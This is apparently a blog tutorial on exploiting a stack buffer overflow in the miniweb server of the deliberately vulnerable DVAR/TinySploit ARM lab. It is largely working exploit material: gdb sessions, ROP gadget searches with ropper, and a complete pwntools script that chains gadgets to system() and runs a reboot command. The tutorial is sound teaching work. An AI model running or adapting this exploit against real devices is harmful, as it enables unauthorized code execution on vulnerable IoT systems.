Original DVAR learning series. The commands, addresses and behavior refer to the challenge environment described in the article; they are not universal values for ARM devices.

Now we got a basic understanding about the calling convention on ARM and how the epilogue of a function looks like. We also have to deal with the NX bit which makes the stack non-executable. We will circumvent this security mechanism by implementing a ROP chain. If you have no idea about this technique please take a look at Part 2. It might helps. But now lets start.

3.1 Interacting with the Service - PWNTOOLS

We will build our ROP chain and have to deal with binary data. We don't want to copy paste this stuff left right left. Therefore we need a convenient method to interact with the target. We will use pwntool which is a python library and has already a lot of useful helper functions impelemented. We will still do most of it manually to understand this process and it might look over the top but this is fine.

3.1.1 Sending an HTTP Request

There might be other libraries available which could be used for this task but we want to keep it more generic. Therefore we will use the pwnlib.tubes module. It makes it easy to send binary data. As environment we simply choose ipython. We start with the example in the documentation.


    from pwn import *

    conn = remote('192.168.244.128', 80)
    print conn.recvline()
  

    # Output of the program
    [x] Opening connection to 192.168.244.128 on port 80
    [x] Opening connection to 192.168.244.128 on port 80: Trying 192.168.244.128
    [+] Opening connection to 192.168.244.128 on port 80: Done
    /home/thumbmode/.local/lib/python2.7/site-packages/pwnlib/tubes/sock.pyc in recv_raw(self, numb, *a)
         54         if not data:
         55             self.shutdown("recv")
    ---> 56             raise EOFError
         57 
         58         return data

    EOFError: 
  

What went wrong? So we want to send a GET request. But we just connect to the socket without sending any data. It's like connecting nc to the HTTP service without any interaction. To make a web request (GET) we can check the rfc2616 documentation here or just simply send the following data afterwards :).


    from pwn import *

    conn = remote('192.168.244.128', 80)
    conn.send(b'GET /\r\n\r\n')
    print conn.recvline()
    conn.close()
  


    # Output of the program
    [x] Opening connection to 192.168.244.128 on port 80
    [x] Opening connection to 192.168.244.128 on port 80: Trying 192.168.244.128
    [+] Opening connection to 192.168.244.128 on port 80: Done
    HTTP/1.1 200 OK

    [*] Closed connection to 192.168.244.128 port 80
  

We receive an HTTP status code 200 which tells us it worked. Ok now we can verify our offset which has been identified in part 1. But before we send this request, let us attach gdb first. Again we will use the script from part 1 to make it easier to repeat these steps. On the TinySploit system we will attach the gdbserver to the miniweb process.


    gdbserver :1234 --attach $(pidof miniweb)
    

On our attacker machine we will use the .gdbinit script to automatically connect to the service and set our breakpoint just before we leave the function. Afterwards we launch gdb-multiarch


    $ cat .gdbinit
    source /home/thumbmode/.gdbinit-gef.py
    set follow-fork-mode child
    target remote 192.168.244.128:1234
    b *0x0001353c 

    # We hit "c" for continue and wait for our request.
    c
    

Now we create the buffer in ipython and append it to the url. There will be of course no direct feedback of the program because we are debugging it right now.


    from pwn import *
    
    # create our buffer which overwrites the return address with 0x42424242
    buffer = "A" * 341 + "B" * 4 + "C" * 16
    
    conn = remote('192.168.244.128', 80)
    
    # we now append the buffer to the url.
    conn.send(b'GET /' + buffer + '\r\n\r\n')
    print conn.recvline()
    conn.close()
    

We send this request and verify it in gdb. For debugging purpose we could also run wireshark in the background and verify if everything has been successfully transmitted. I encountered an error where I did messup the an encoding and send the following string:


      GET /AAAAAAAAAAAAAAAAA[... shorten ...]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCC
      /
    

The '/' within the next line has been due to the escaping of some characters. Wireshark comes pretty handy regarding to things like this. I have corrected the error before I posted it here, no worries :). If we hit our breakpoint we should be fine.


     gef➤  c
     Continuing.
     [New Thread 284.284]
     [Wechseln zu Thread 284.284]
     [ Legend: Modified register | Code | Heap | Stack | String ]
     ───────────────────────────────────────────────────────────────── registers ────
     $r0  : 0x0       
     $r1  : 0x200     
     $r2  : 0x400742c8  →  0x02000000
     $r3  : 0x0       
     $r4  : 0xbefffecc  →  0xbeffffa8  →  "SHLVL=2"
     $r5  : 0xbefffec4  →  0xbeffff97  →  "/usr/bin/miniweb"
     $r6  : 0x1       
     $r7  : 0x0001113c  →  <main+0> push {r11,  lr}
     $r8  : 0x1       
     $r9  : 0x0       
     $r10 : 0xbefffec4  →  0xbeffff97  →  "/usr/bin/miniweb"
     $r11 : 0xbeffbb94  →  "BBBBCCCCCCCCCCCCCCCC""
     $r12 : 0x24      
     $sp  : 0xbeffbb90  →  "AAAABBBBCCCCCCCCCCCCCCCC""
     $lr  : 0x400294a8  →  0xe59f00f4
     $pc  : 0x0001353c  →  <Log+260> pop {r11,  lr}
     $cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
     ───────────────────────────────────────────────────────────────────── stack ────
     0xbeffbb90│+0x0000: "AAAABBBBCCCCCCCCCCCCCCCC""   ← $sp
     0xbeffbb94│+0x0004: "BBBBCCCCCCCCCCCCCCCC""   ← $r11
     0xbeffbb98│+0x0008: "CCCCCCCCCCCCCCCC""
     0xbeffbb9c│+0x000c: "CCCCCCCCCCCC""
     0xbeffbba0│+0x0010: "CCCCCCCC""
     0xbeffbba4│+0x0014: "CCCC""
     0xbeffbba8│+0x0018: 0x41000a22 ("""?)
     0xbeffbbac│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
     ────────────────────────────────────────────────────────────── code:arm:ARM ────
           0x13530 <Log+248>        b      0x13538 <Log+256>
           0x13534 <Log+252>        nop    ; (mov r0,  r0)
           0x13538 <Log+256>        sub    sp,  r11,  #4
      →    0x1353c <Log+260>        pop    {r11,  lr}
           0x13540 <Log+264>        add    sp,  sp,  #16
           0x13544 <Log+268>        bx     lr
           0x13548 <Log+272>        ldrdeq r3,  [r1],  -r0
           0x1354c <Log+276>        ;      <UNDEFINED> instruction: 0x00013ab0
           0x13550 <Log+280>        andeq  r3,  r2,  r4,  ror #27
     ─────────────────────────────────────────────────────────────────── threads ────
     [#0] Id 1, Name: "miniweb", stopped, reason: BREAKPOINT
     ───────────────────────────────────────────────────────────────────── trace ────
     [#0] 0x1353c → Log()
     ────────────────────────────────────────────────────────────────────────────────
     
     Thread 2.1 "miniweb" hit Breakpoint 1, 0x0001353c in Log ()
     gef➤  x/20dwx $sp
     0xbeffbb90:  0x41414141  0x42424242  0x43434343  0x43434343
     0xbeffbba0:  0x43434343  0x43434343  0x41000a22  0x41414141
     0xbeffbbb0:  0x41414141  0x41414141  0x41414141  0x41414141
     0xbeffbbc0:  0x41414141  0x41414141  0x41414141  0x41414141
     0xbeffbbd0:  0x41414141  0x41414141  0x41414141  0x41414141
     gef➤  
   

We see we are directly before the pop {r11, lr} instruction. Our stack at the bottom seems to be alidgned correctly for now. The first four bytes (0x41414141) goes into the r11 register and our returning address (0x42424242) into lr. Please check out part 1 if this is new to you. We hit continue and check the final output.


   [!] Cannot disassemble from $PC
   [!] Cannot access memory at address 0x42424242
   ────────────────────────────────────────────────────────────── threads ──
   [#0] Id 1, Name: "miniweb", stopped, reason: SIGSEGV
   ────────────────────────────────────────────────────────────── trace ────
   ─────────────────────────────────────────────────────────────────────────
   0x42424242 in ?? ()
   gef➤  c
   Continuing.
   
   Program terminated with signal SIGSEGV, Segmentation fault.
   The program no longer exists.
   gef➤  

We got our interaction with the vulnerable service and the offset correct. Now we can build up our ROP chain.

3.2 Downloading the Library

Except for one gadget which has been discussed in part 2 we take our gadgets from the libc library. We will use ropper to identify them. Therefore we need to download the library from the target. We can get the path of the libc with the vmmap command in gef.


   gef➤  vmmap
   Start      End        Offset     Perm Path
   0x00010000 0x00014000 0x00000000 r-x /usr/bin/miniweb
   0x00023000 0x00026000 0x00003000 rwx /usr/bin/miniweb
   0x40000000 0x40064000 0x00000000 r-x /lib/libc.so
   0x40064000 0x40065000 0x00000000 r-x [sigpage]
   0x40073000 0x40074000 0x00063000 r-x /lib/libc.so
   0x40074000 0x40075000 0x00064000 rwx /lib/libc.so
   0x40075000 0x40077000 0x00000000 rwx 
   0x40078000 0x40089000 0x00000000 r-x /lib/libgcc_s.so.1
   0x40089000 0x4008a000 0x00009000 rwx /lib/libgcc_s.so.1
   0xbefdf000 0xbf000000 0x00000000 rwx [stack]
   0xffff0000 0xffff1000 0x00000000 r-x [vectors]
   

This system has an ssh service running. We can simply use it together with scp to fetch the binary.


$ scp root@192.168.244.128:/lib/libc.so ./
root@192.168.244.128's password: 
libc.so 

If this wouldn't be the case, like on many Internet of Things (IoT) devices, we can also move the binary into the webroot and download it with wget or opening the url in a browser.



# Searching for html files on the server
exploitlab-DVAR:~# find / -iname "*.html"
/www/404.html
/www/cgierror.html
/www/cmderror.html
/www/htdocs/help.html
/www/htdocs/StaRouter.html
/www/htdocs/basic.html
/www/htdocs/index.html
/www/docroot/index.html

# Copy Paste the libc into the webroot which can be identified by browsing over the application and searching for certain files like "basic.html"
exploitlab-DVAR:~# cp /lib/libc.so /www/htdocs/

# Download it from the attacker system with wget
thumbmode@blog:/home/thumbmode $ wget http://192.168.244.128/libc.so -o libc.so

# Verify the checksum on the target with the one downloaded before (Take care if wget has saved them into a sperate file: libc.so.1)
# Attacker
thumbmode@blog:/tmp $ md5sum libc.so.1 
edafed95373886f1db601d36fd71e6de  libc.so.1

# TinySploit VM
exploitlab-DVAR:/www/htdocs# md5sum libc.so 
edafed95373886f1db601d36fd71e6de  libc.so

3.3 Building the ROP Chain

Now we start with the interesting part. We finally build our ROP chain. Our tool we choose is ropper and what it does is looking for code snippets which do end with a Return instruction. On ARM it could be b, bx, bl, blx or pop {.. pc ..}. But before making it to theoretical let us start learning by doing. Therefore we launch ropper and provide the libc.so file to analyze.


$ ropper
(ropper)> file libc.so
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so/ELF/ARM)> 

So by entering gadgets ropper will print out all the gadgets it could found but this view is not very clean. In our case we place the command at the end of our buffer. The sp will later directly point into this buffer which gives us a reference. Therefore we search for an insruction that moves the sp into the r0 register. We could also try solving this with load and store instruction but this will get quick very complexe.

We could ropper tell to search for a very certain instruction like mov r0, sp but a better approach IMHO to get a quick overview about "all" possible sp instructions. We limit them to a single instruction before we jump (/1/) which gives us nice and easy gadgets.


(libc.so/ELF/ARM)> search /1/ %sp%
0x00026180: add sp, sp, #4; bx lr; 
0x00018044: add sp, sp, #8; bx lr; 
0x0001c520: add sp, sp, #8; pop {r4, pc}; 
0x00028518: add sp, sp, #8; pop {r4, r5, r6, pc}; 
0x00050518: add sp, sp, #8; pop {r4, r5, r7, pc}; 
0x000301d0: add sp, sp, #8; pop {r7, pc}; 
0x0002fb04: ldr ip, [sp, #8]; blx ip; 
0x00049fc4: ldr r0, [sp, #4]; blx sb; 
0x000203e4: ldr r0, [sp, #4]; blx sl; 
0x00051260: ldr r3, [sp, #4]; blx r3; 
0x00036e78: ldr sl, [sp, #0x108]; blx r4; 
0x00024100: mov r0, sp; blx r6; 
0x00058058: mov sp, r4; bx r3; 
0x00036e90: str r3, [sp, #0x10]; blx r4; 
0x00058b8c: str r3, [sp, #0x24]; blx r

There are several possiblities regarding to ldr and str but we will take the easiest one:


0x00024100: mov r0, sp; blx r6; 

So now we need to setup the r6 with our system address and are good to go. Therefore we are looking for gadgets that modifies the r6 register. Again we take the easy approach by search for pop instructions.


(libc.so/ELF/ARM)> search /1/ pop %r6%
[INFO] Searching for gadgets: pop %r6%

[INFO] File: libc.so
0x0004e5b4: pop {r4, r5, r6, lr}; bx r3; 
0x00012a64: pop {r4, r5, r6, pc}; 
0x0004d914: pop {r4, r5, r6, r7, lr}; bx lr; 
0x00012468: pop {r4, r5, r6, r7, pc}; 
0x0004f774: pop {r4, r5, r6, r7, pc}; bx lr; 
0x00041d4c: pop {r4, r5, r6, r7, r8, lr}; bx r3; 
0x000392a0: pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}; bx lr; 
0x00025048: pop {r4, r5, r6, r7}; bx lr; 
0x00013088: pop {r4, r6, r7, pc}; 

So are we already done? Our final chain looks like:


0x00012a64: pop {r4, r5, r6, pc};
0x00024100: mov r0, sp; blx r6; 

We just need to recalculate the addresses because these are just the offsets regarding to the base address of libc which is 0x40000000 (see vmmap).


livehack@stuehler:~$ python

Type "help", "copyright", "credits" or "license" for more information.
>>> libc_base = 0x40000000
>>> hex(0x00012a64+libc_base)
'0x40012a64'
>>> hex(0x00024100+libc_base)
'0x40024100'
>>> quit()

-----------------------------------
0x40012a64: pop {r4, r5, r6, pc};
0x40024100: mov r0, sp; blx r6; 

3.3.1 Pitfalls within ROP Chains

First I was like oh that was easy but this is why I did spent a whole blog post on the preparation process because you will miss / oversee certain points. This mostly affects the hard way which I choosed first until I did my research on PLT.

3.3.1.1 Bad Characters

The address 0x40024100 contains a bad character but it is not the Null Byte at the beginning 4002. You have to think of paris of two (one byte). So 0x40 0x02 0x41 and 0x00 which is the problem. Luckily we can easily fix this by jumping one instructions above. Also here is ropper super handy. In ARM mode every instruction is four byte long (2 Byte in THUMB mode). So we just can substract 0x4 from 0x40024100 and diassemble the output address with ropper as follow:


(libc.so/ELF/ARM)> disasm_address 0x240fc

Instructions
============

0x000240fc: mov r1, #0

So we are moving the value #0 into the register r1 which does not affect our exploit at all. We care about r0 and therefore can use this address 0x000240fc to avoid the Null Byte. But now we can jump to system, right? Again which address is system placed? And this results in an easy and moderate way in solving this challenge.

3.3.2 The Easy Way to Solve this Challenge

We do not need to make things more complex than they actually are. To be honest, I missed this option first. It is also the prefereded way because we are defining all gadgets within one library. So even if the binary might change until it uses the same library right here and still contains the vulnerability the exploit will be compatible. In part 2 I described how we did find the address of system() within the libc and now we are using it. What we got:


# Setting up r6
GADGET1: 0x40012a64   pop {r4, r5, r6, pc};

# We jump one instruction above based on the Null Bbyte
GADGET2: 0x400240fc   mov r1, #0
         0x40024100   mov r0, sp; blx r6; 

# Jump to system()
SYSTEM:  0x4003aeb8   [address]

In GADGET1 we need to setup r6 with the value of the system() address (0x4003aeb8). Than we define pc to jump to GADGET2(0x400240fc).

In GADGET2 we are moving the sp into the register r0 which gives us a reference onto the stack within a register. We can append our command /sbin/reboot onto the buffer. Afterwards we jumpt the address that has been already setup in GADGET1. We are done!

3.3.2.1 Finalizing the Exploit

We still have to take care of at least two things. The first one is the question: "Does our exploit has bad characters in it?". We eliminated the Null Byte characters but we are dealing with HTTP requests. So other chars like \n or \r will also mess up our exploit. Here we use a simple trick and URL encode our buffer first. This should eliminate these bad chars and can be also directly done in pwntools. The second thing is the endianess. We have to convert our addresses into little endian format. But we also got a nice helper function (p32())in pwntools which does this job for us :).

We create a little helper function libc_calc() to calculate the full address of the gadgets. We simply provide the offset as argument and return the offset + libc base address.


from pwn import *

# helper function to calculate libc_base + offset in little endian format.
def libc_calc(offset):
  return p32(libc_base + offset)


# addresses libc, gadgets1/2, system
libc_base = 0x40000000

GADGET1 = libc_calc(0x00012a64)
GADGET2 = libc_calc(0x000240fc)
# We also take the offset for the system address (-0x40000000) 
# if libc changes (aslr) we got it all at once.
SYSTEM = libc_calc(0x0003aeb8)

#will be used to fill registers which are not required
JUNK = p32(0x41414141)

COMMAND = "/sbin/reboot;#"

# create our buffer which overwrites the return address with 0x42424242
# remember the add sp, sp, #16 (Cs at the end) we have to take care of!
buffer = "A" * 341 + GADGET1 + "C" * 16


# We just need r6 to point to system and pc to GADGET2
# GADGET1: 0x40012a64   pop {r4, r5, r6, pc};
rop = JUNK #r4
rop += JUNK #r5
rop += SYSTEM #r6
rop += GADGET2 #pc

# GADGET2: 0x400240fc   mov r1, #0; mov r0, sp; blx r6; 
# nothing to do here :)

# put it together and urlencode all
exploit = urlencode(buffer + rop + COMMAND)


conn = remote('192.168.244.128', 80)

# we now append the buffer to the url.
conn.send(b'GET /' + exploit + '\r\n\r\n')

print conn.recvline()
conn.close()

To make sure everything runs exactly the way it should, we attach gdb and debug it. The blog post would get way too huge this is why I created a video of this whole process and explain single steps again.

To shorten this path here, the final output is the launch of busybox which executes the reboot command. You can observe the TinySploit rebooting. Of course it can be also possible that we crash the webserver in a certain way that causes the reboot so just change the command and verify if it is really working :).


0x40024104 in ?? ()
gef➤  c
Continuing.
# We can see that a new busybox process is starting :)
[New Thread 382.382]
process 382 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...